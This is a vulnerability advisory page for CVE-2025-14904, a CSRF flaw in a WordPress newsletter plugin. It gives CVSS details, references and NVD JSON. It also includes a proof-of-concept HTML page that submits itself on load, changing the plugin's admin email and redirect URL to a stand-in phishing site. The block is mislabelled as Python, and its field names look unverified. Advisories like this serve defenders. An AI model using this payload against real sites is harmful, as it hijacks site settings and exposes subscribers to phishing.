CVE-2025-14904

Description

The Newsletter Email Subscribe plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 2.4. This is due to incorrect nonce validation on the nels_settings_page function. This makes it possible for unauthenticated attackers to update plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Newsletter Email Subscribe插件 <= 2.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!DOCTYPE html> <html> <head> <title>Newsletter Settings Update</title> </head> <body> <h1>Please wait...</h1> <form id="csrf_form" action="http://target-site.com/wp-admin/admin-post.php" method="POST">  <input type="hidden" name="_wpnonce" value="any_value_here">  <input type="hidden" name="action" value="nels_save_settings"> <input type="hidden" name="page" value="newsletter-email-subscribe">  <input type="hidden" name="nels_admin_email" value="[email protected]"> <input type="hidden" name="nels_confirmation_email" value="[email protected]"> <input type="hidden" name="nels_redirect_url" value="https://phishing-site.com">  <input type="hidden" name="nels_double_optin" value="0"> <input type="hidden" name="nels_enable_welcome_email" value="1"> </form> <script> // Auto-submit form when page loads document.getElementById('csrf_form').submit(); </script> </body> </html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14904
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14904
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14904/
[4] VulDB https://vuldb.com/cve/CVE-2025-14904
[5] https://plugins.trac.wordpress.org/browser/newsletter-email-subscribe/tags/2.4/newsletter-email-subscribe.php#L109
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/00dd9a3c-a9f9-4fd2-9c93-0def42cec496?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-14904", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:58.097", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Newsletter Email Subscribe plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 2.4. This is due to incorrect nonce validation on the nels_settings_page function. This makes it possible for unauthenticated attackers to update plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/newsletter-email-subscribe/tags/2.4/newsletter-email-subscribe.php#L109", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/00dd9a3c-a9f9-4fd2-9c93-0def42cec496?source=cve", "source": "[email protected]"}]}}